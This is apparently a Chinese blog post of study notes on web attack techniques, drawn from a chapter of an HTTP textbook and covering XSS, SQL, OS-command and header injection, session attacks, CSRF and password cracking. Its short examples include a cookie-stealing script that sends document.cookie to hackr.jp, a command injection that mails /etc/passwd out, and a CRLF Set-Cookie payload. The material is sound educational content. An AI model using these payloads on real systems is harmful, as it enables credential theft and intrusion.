图解HTTP--Web的攻击技术

目录

11.1 针对 Web 的攻击技术

        11.1.1 HTTP 不具备必要的安全功能

        11.1.2 在客户端即可篡改请求 

         11.1.3 针对 Web 应用的攻击模式

■以服务器为目标的主动攻击

■以服务器为目标的被动攻击

 利用用户的身份攻击企业内部网络

 11.2 因输出值转义不完全引发的安全漏洞

11.2.1 跨站脚本攻击

 XSS 是攻击者利用预先设置的陷阱触发的被动攻击

 ■对用户Cookie的窃取攻击

                11.2.2 SQL 注入攻击

        11.2.3 OS 命令注入攻击

         11.2.4 HTTP 首部注入攻击

         11.2.5 邮件首部注入攻击

          11.2.6 目录遍历攻击

          11.2.7 远程文件包含漏洞

11.3 因设置或设计上的缺陷引发的安全漏洞

        11.3.1 强制浏览

        11.3.2 不正确的错误消息处理

        数据库等系统抛出的错误消息 

                11.3.3 开放重定向

11.4 因会话管理疏忽引发的安全漏洞

        11.4.1 会话劫持

        11.4.2 会话固定攻击

         Session Adoption

        11.4.3 跨站点请求伪造

11.5 其他安全漏洞

        11.5.1 密码破解

        11.5.2 点击劫持

        11.5.3 DoS 攻击

                 11.5.4 后门程序


11.1 针对 Web 的攻击技术

简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标

        11.1.1 HTTP 不具备必要的安全功能

几乎现今所有的 Web 网站都会使用会话 (session)管理、加密处理等安全性方面的功能,而 HTTP 协议内并不具备这些功能。

就拿远程登录时会用到的 SSH 协议来说,SSH 具备协议级别的认证及会话管理等功能,HTTP 协议则没有。另外在架设 SSH 服务方面, 任何人都可以轻易地创建安全等级高的服务,而 HTTP 即使已架设好服 务器,但若想提供服务器基础上的 Web 应用,很多情况下都需要重新开发。

        11.1.2 在客户端即可篡改请求 

        在 Web 应用中,从浏览器那接收到的 HTTP 请求的全部内容,都可以在客户端自由地变更、篡改。所以 Web 应用可能会接收到与预期 数据不相同的内容。

        在 HTTP 请求报文内加载攻击代码,就能发起对 Web 应用的攻击。 通过 URL 查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或被 攻击者拿到管理权限。

         11.1.3 针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。 ● 主动攻击 ● 被动攻击

■以服务器为目标的主动攻击

主动攻击(active attack)是指 攻击者通过直接访问 Web 应用,把攻击代码传入  的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。

主动攻击模式里具有代表性的攻击是 SQL 注入攻击OS 命令注入攻击

■以服务器为目标的被动攻击

被动攻击(passive attack)是指利用 圈套策略 执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访问发起攻击。

 利用用户的身份攻击企业内部网络

        利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网 等网络的攻击。只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击。

        很多企业内网依然可以连接到互联网上,访问 Web 网站,或接收互 联网发来的邮件。这样就可能给攻击者以可乘之机,诱导用户触发陷阱 后对企业内网发动攻击。


 11.2 因输出值转义不完全引发的安全漏洞

 

 Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为 是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业 务逻辑的数值或检查字符编码等预防对策。

11.2.1 跨站脚本攻击

        跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞 的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就 这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不 小心就会受到被动攻击。

● 利用虚假输入表单骗取用户个人信息。

● 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。 

● 显示伪造的文章或图片。

 XSS 是攻击者利用预先设置的陷阱触发的被动攻击

下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单 内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。

 

 浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp),导致个人登录信息被窃取。

 ■对用户Cookie的窃取攻击

 除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以 跨站脚本攻击的方式,窃取到用户的 Cookie 信息。

        

<script src=http://hackr.jp/xss.js></script>
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。然后信息发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。

        11.2.2 SQL 注入攻击

        SQL 注入(SQL Injection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。该安全隐患有可能引发极大的威胁, 有时会直接导致个人信息及机密信息的泄露。

如果在调用 SQL 语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法 SQL 语句。

SQL 注入攻击有可能会造成以下等影响。

        ● 非法查看或篡改数据库内的数据

        ● 规避认证

        ● 执行和数据库服务器业务关联的程序等

SQL 是用来操作关系型数据库管理系统(Relational DataBase Management System,RDBMS)的数据库语言,可进行操作数据或定义数据等。

RDBMS 中有名的数据库有 Oracle Database、Microsoft SQL Server、IBM DB2、MySQL 和 PostgreSQL 等。这些数据库系统都可以 把 SQL 作为数据库语言使用。

SELECT title,text FROM newsTbl WHERE id=123

 SQL中 --为注释

SELECT * FROM bookTbl WHERE author ='上野宣 ' and flag=1;
SELECT * FROM bookTbl WHERE author ='上野宣 ' --' and flag=1;

        11.2.3 OS 命令注入攻击

OS 命令注入攻击(OS Command Injection)是指通过 Web 应用, 执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的 地方就有存在被攻击的风险。

OS 命令注入攻击 可以向 Shell 发送命令,让 Windows 或 Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安装着的各种程序。

my $adr = $q->param('mailaddress');
open(MAIL, "¦ /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

程序中的 open 函数会调用 sendmail 命令发送邮件,而指定的邮件 发送地址即 $adr 的值。

open(MAIL, "¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp");

(;)解析为分隔多个执行命令

        11.2.4 HTTP 首部注入攻击

向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack)

如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。

HTTP 首部注入攻击有可能会造成以下一些影响。

● 设置任何 Cookie 信息

● 重定向至任意 URL

● 显示任意的主体(HTTP 响应截断攻击)

101%0D%0ASet-Cookie:+SID=123456789

%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。攻击者可伪装成用户。

Set-Cookie: UID=(%0D%0A :换行符)
(%0D%0A :换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容 ⇒
<!--(原来页面对应的首部字段和主体部分全视为注释)

伪造web页面

另外,滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器 对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的 Web 网页。

        11.2.5 邮件首部注入攻击

攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的 攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告邮 件或病毒邮件。

         11.2.6 目录遍历攻击

目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击也称为路径遍历(Path Traversal)攻击

         11.2.7 远程文件包含漏洞

        远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL 充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。

PHP 存在的安全漏洞


        11.3 因设置或设计上的缺陷引发的安全漏洞

11.3.1 强制浏览

强制浏览(Forced Browsing)安全漏洞是指,从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。

对那些原本不愿公开的文件,为了保证安全会隐蔽其 URL。可一 旦知道了那些 URL,也就意味着可浏览 URL 对应的文件。

http://www.example.com/log/  通过指定文件目录名称,即可在文件一览中看到显示的文件名。

http://www.example.com/cgi-bin/entry.cgi (原始文件)

http://www.example.com/cgi-bin/entry.cgi~ (备份文件)

http://www.example.com/cgi-bin/entry.bak (备份文件)

11.3.2 不正确的错误消息处理

不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞,Web 应用的错误信息内包含对攻击者有用的信息。与 Web应用有关的主要错误信息如下所示。

● Web 应用抛出的错误消息

● 数据库等系统抛出的错误消息

“邮件地址未注册”的错误消息。当输入的邮件地址尚未在该 Web 网站上注册时,就会触发这条错误消息。因为倘若邮件地址存在,应该会提示“输入的密码有误”之类的错误消息。

攻击者利用进行不同的输入会提示不同的错误信息这条,就可用来确认输入的邮件地址是否已在这个 Web 网站上注册过了。

数据库等系统抛出的错误消息 

 各系统应对详细的错误消息进行抑制设定,或使用自定义错误消息,以避免某些错误信息给攻击者以启发。

        11.3.3 开放重定向

而于此功能相关联的安全漏洞是指,假如指定的重定向 URL 到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站。

跳转 钓鱼


11.4 因会话管理疏忽引发的安全漏洞

11.4.1 会话劫持

会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的。

获取ID的途径

● 通过非正规的生成方法推测会话 ID

● 通过窃听或 XSS 攻击盗取会话 ID

● 通过会话固定攻击(Session Fixation)强行获取会话 ID

 攻击者在得知该 Web 网站存在可跨站攻击(XSS)的安全漏洞后, 就设置好用 JavaScript 脚本调用 document.cookie 以窃取 Cookie 信息的 陷阱,一旦用户踏入陷阱(访问了该脚本),攻击者就能获取含有会话 ID 的 Cookie。

        11.4.2 会话固定攻击

对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,

会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属 于被动攻击。

 Session Adoption

Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID 的功能。

攻击者私自创建会话 ID 构成陷阱, 中间件却会误以为该会话 ID 是未知会话 ID 而接受。

        11.4.3 跨站点请求伪造

指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

跨站点请求伪造有可能会造成以下等影响。

● 利用已通过认证的用户权限更新设定信息等

● 利用已通过认证的用户权限购买商品

● 利用已通过认证的用户权限在留言板上发表言论


11.5 其他安全漏洞

        11.5.1 密码破解

算出密码,突破认证。攻击 不仅限于 Web 应用,还包括其他的系统(如 FTP 或 SSH 等)

● 通过网络的密码试错

● 对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理 的密码数据的情况)

穷举法(Brute-force Attack,又称暴力破解法​​​​​​(​加盐也可用.)

字典攻击

彩虹表(Rainbow Table)是由 明文密码 及与之对应的散列值构成的 一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举法 • 字典 攻击等实际破解过程中缩短消耗时间的技巧。

        11.5.2 点击劫持

点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,界面伪装(UI Redressing)。

         11.5.3 DoS 攻击

● 海量请求

● 安全漏洞

        11.5.4 后门程序

后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序能使用原本受限制的功能

可通过监视进程和通信的状态发现被植入的后门程序。但设定在 Web 应用中的后门程序,由于和正常使用时区别不大,通常很难发现。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值